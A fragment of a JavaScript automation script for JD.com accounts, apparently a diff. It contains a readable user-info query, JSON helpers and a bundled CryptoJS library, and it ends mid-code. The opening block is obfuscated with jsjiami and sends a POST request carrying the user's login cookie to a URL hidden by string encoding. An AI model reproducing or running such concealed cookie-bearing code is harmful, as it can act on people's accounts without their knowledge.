_0x4528be={'lfKXW':_0x5f27('3f',']T!G'),'EJaoM':_0x5f27('40','ed*u'),'CXUmd':_0x5f27('41','^EUf'),'HvtbA':_0x5f27('42','Vha('),'aWuxU':_0x5f27('43','vLLe'),'cmhRz':_0x5f27('44','aU8%'),'tymAQ':_0x5f27('45','[^o5'),'HpgmM':_0x5f27('46','XsN9'),'SRkzU':_0x5f27('47','TvJw'),'BdqMO':_0x5f27('48','YzVd'),'klfuI':_0x5f27('49','lEPt'),'Ssdoy':_0x5f27('4a','XsN9'),'rHlzU':_0x5f27('4b','vLLe'),'WcVSW':function(_0x4c5c2a,_0x17e256){return _0x4c5c2a*_0x17e256;},'dwJLC':_0x5f27('4c','V6Nx'),'ypina':_0x5f27('4d','C7$w'),'NSOgc':_0x5f27('4e','ehIJ'),'bJReN':_0x5f27('4f','^A9e'),'ZxeLt':_0x5f27('50','j8(H'),'JUbKP':function(_0x1b6c70,_0x582396){return _0x1b6c70(_0x582396);},'ICuEj':_0x5f27('51','R143'),'eCLeH':_0x5f27('52','91%f'),'eFYya':_0x5f27('53','^A9e'),'HNjrY':_0x5f27('54','PqyP'),'QqROC':function(_0x310d41,_0x4d6a91){return _0x310d41(_0x4d6a91);}};let _0x297a32=+new Date();let _0x7c13a=[_0x4528be[_0x5f27('55','#p!4')],_0x4528be[_0x5f27('56','7nBh')],_0x4528be[_0x5f27('57','vLLe')],_0x4528be[_0x5f27('58','3wTS')],_0x4528be[_0x5f27('59','C0ws')],_0x4528be[_0x5f27('5a','Kw2m')],_0x4528be[_0x5f27('5b','vLLe')],_0x4528be[_0x5f27('5c','V6Nx')],_0x4528be[_0x5f27('5d','aU8%')],_0x4528be[_0x5f27('5e','ed*u')],_0x4528be[_0x5f27('5f','ilha')],_0x4528be[_0x5f27('60','lEPt')],_0x4528be[_0x5f27('61','91%f')]][Math[_0x5f27('62','vLLe')](_0x4528be[_0x5f27('63','TvJw')](Math[_0x5f27('25','j8(H')](),0xd))];var _0x586b3f={'Host':_0x4528be[_0x5f27('64','R143')],'accept':_0x4528be[_0x5f27('65','91%f')],'content-type':_0x4528be[_0x5f27('66','[^(Z')],'origin':_0x4528be[_0x5f27('67','N2@S')],'accept-language':_0x4528be[_0x5f27('68','V6Nx')],'user-agent':$[_0x5f27('69','7nBh')]()?process[_0x5f27('6a','TvJw')][_0x5f27('6b','CesG')]?process[_0x5f27('6c','8^js')][_0x5f27('6d','#p!4')]:_0x4528be[_0x5f27('6e','7nBh')](require,_0x4528be[_0x5f27('6f','lEPt')])[_0x5f27('70','XsN9')]:$[_0x5f27('71','0icS')](_0x4528be[_0x5f27('72','[^o5')])?$[_0x5f27('73','Kw2m')](_0x4528be[_0x5f27('74','9q*T')]):_0x4528be[_0x5f27('75','e69j')],'referer':_0x4528be[_0x5f27('76','aU8%')],'Cookie':cookie};var _0xded7d1=_0x5f27('77','V6Nx')+_0x4528be[_0x5f27('78','ed*u')](encodeURIComponent,_0x7c13a)+_0x5f27('79','GsGt')+_0x297a32;var _0x4e6c1c={'url':_0x5f27('7a','D6)v')+ +new Date(),'headers':_0x586b3f,'body':_0xded7d1};$[_0x5f27('7b','[^o5')](_0x4e6c1c,(_0x4129d7,_0x3dcfb6,_0x48a4c9)=>{});};_0xod3='jsjiami.com.v6'; + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 